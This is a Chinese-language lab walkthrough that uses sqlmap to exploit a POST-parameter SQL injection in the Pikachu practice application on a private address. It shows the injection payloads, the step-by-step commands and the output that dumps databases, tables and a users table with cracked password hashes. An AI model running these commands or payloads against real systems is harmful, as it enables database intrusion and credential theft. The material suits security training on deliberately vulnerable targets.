Sqlmap -- POST注入

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一、检测是否存在注入

1、通过BurpSuite抓包获取提交的数据

2、sqlmap -u "http://192.168.139.129/pikachu/vul/sqli/sqli_id.php" --data "id=1&submit=%E6%9F%A5%E8%AF%A2"

--data指定提交的数据

运行结果：id值存在注入，可能是布尔盲注、报错注入、时间盲注、联合注入

[14:37:09] [INFO] POST parameter 'id' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable

POST parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N]

sqlmap identified the following injection point(s) with a total of 46 HTTP(s) requests:

---

Parameter: id (POST)

    Type: boolean-based blind

    Title: AND boolean-based blind - WHERE or HAVING clause

    Payload: id=1 AND 9442=9442&submit=%E6%9F%A5%E8%AF%A2

    Type: error-based

    Title: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)

    Payload: id=1 AND GTID_SUBSET(CONCAT(0x717a717871,(SELECT (ELT(4194=4194,1))),0x7170717671),4194)&submit=%E6%9F%A5%E8%AF%A2

    Type: time-based blind

    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)

    Payload: id=1 AND (SELECT 2494 FROM (SELECT(SLEEP(5)))BUUY)&submit=%E6%9F%A5%E8%AF%A2

    Type: UNION query

    Title: Generic UNION query (NULL) - 2 columns

    Payload: id=1 UNION ALL SELECT CONCAT(0x717a717871,0x59534b7664464e646f414f4e546e6c72455448476447636f50574a75434971514a486f6d724a664e,0x7170717671),NULL-- -&submit=%E6%9F%A5%E8%AF%A2

---

[14:37:16] [INFO] the back-end DBMS is MySQL

web application technology: PHP 5.4.45, Nginx 1.15.11, PHP

back-end DBMS: MySQL >= 5.6

[14:37:16] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/192.168.139.129'

二、获取数据库名称

sqlmap -u "http://192.168.139.129/pikachu/vul/sqli/sqli_id.php" --data "id=1&submit=%E6%9F%A5%E8%AF%A2" --dbs

转存失败重新上传取消转存失败重新上传取消转存失败重新上传取消

运行结果：

[14:42:01] [INFO] the back-end DBMS is MySQL

web application technology: Nginx 1.15.11, PHP, PHP 5.4.45

back-end DBMS: MySQL >= 5.6

[14:42:01] [INFO] fetching database names

available databases [10]:

[*] challenges

[*] dvwa

[*] information_schema

[*] mysql

[*] performance_schema

[*] pikachu

[*] security

[*] sys

[*] www_dgdg_com

[*] www_zm_com

[14:42:01] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/192.168.139.129'  

三、获取表名

sqlmap -u "http://192.168.139.129/pikachu/vul/sqli/sqli_id.php" --data "id=1&submit=%E6%9F%A5%E8%AF%A2" -D pikachu --tables

运行结果：

14:44:08] [INFO] the back-end DBMS is MySQL

web application technology: PHP, PHP 5.4.45, Nginx 1.15.11

back-end DBMS: MySQL >= 5.6

[14:44:08] [INFO] fetching tables for database: 'pikachu'

Database: pikachu

[5 tables]

+----------+

| member   |

| httpinfo |

| message  |

| users    |

| xssblind |

+----------+

[14:44:08] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/192.168.139.129'

四、获取字段名

sqlmap -u "http://192.168.139.129/pikachu/vul/sqli/sqli_id.php" --data "id=1&submit=%E6%9F%A5%E8%AF%A2" -D pikachu -T users --columns

运行结果：

[14:51:18] [INFO] the back-end DBMS is MySQL

web application technology: PHP, PHP 5.4.45, Nginx 1.15.11

back-end DBMS: MySQL >= 5.6

[14:51:18] [INFO] fetching columns for table 'users' in database 'pikachu'

Database: pikachu

Table: users

[4 columns]

+----------+------------------+

| Column   | Type             |

+----------+------------------+

| level    | int(11)          |

| id       | int(10) unsigned |

| password | varchar(66)      |

| username | varchar(30)      |

+----------+------------------+

[14:51:18] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/192.168.139.129'

五、获取字段内容

sqlmap -u "http://192.168.139.129/pikachu/vul/sqli/sqli_id.php" --data "id=1&submit=%E6%9F%A5%E8%AF%A2" -D pikachu -T users --dump "username,password

运行结果：

Database: pikachu                                                                        

Table: users

[3 entries]

+----+---------+-------------------------------------------+----------+

| id | level   | password                                  | username |

+----+---------+-------------------------------------------+----------+

| 1  | 1       | e10adc3949ba59abbe56e057f20f883e (123456) | admin    |

| 2  | 2       | 670b14728ad9902aecba32e22fa4f6bd (000000) | pikachu  |

| 3  | 3       | e99a18c428cb38d5f260853678922e03 (abc123) | test     |

+----+---------+-------------------------------------------+----------+

[14:56:08] [INFO] table 'pikachu.users' dumped to CSV file '/root/.local/share/sqlmap/output/192.168.139.129/dump/pikachu/users.csv'                                                

[14:56:08] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/192.168.139.129'

六、其他检测POST注入方法

1、BurpSuite抓包，将数据包内容保存到1.txt

POST /pikachu/vul/sqli/sqli_id.php HTTP/1.1

Host: 192.168.139.129

Content-Length: 30

Cache-Control: max-age=0

Upgrade-Insecure-Requests: 1

Origin: http://192.168.139.129

Content-Type: application/x-www-form-urlencoded

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

Referer: http://192.168.139.129/pikachu/vul/sqli/sqli_id.php

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9

Cookie: PHPSESSID=6t4bb3nb4rarqod4j073m038h4

Connection: close

id=1&submit=%E6%9F%A5%E8%AF%A2

2、获取数据库名称

sqlmap -r /home/aiyou/桌面/1.txt --dbs

-r：指定数据包的绝对路径

3、获取表名

sqlmap -r /home/aiyou/桌面/1.txt -D pikachu --tables

4、获取字段名

sqlmap -r /home/aiyou/桌面/1.txt -D pikachu -T users --columns

5、获取字段内容

sqlmap -r /home/aiyou/桌面/1.txt -D pikachu -T users --dump "username,password"

禁止非法，后果自负

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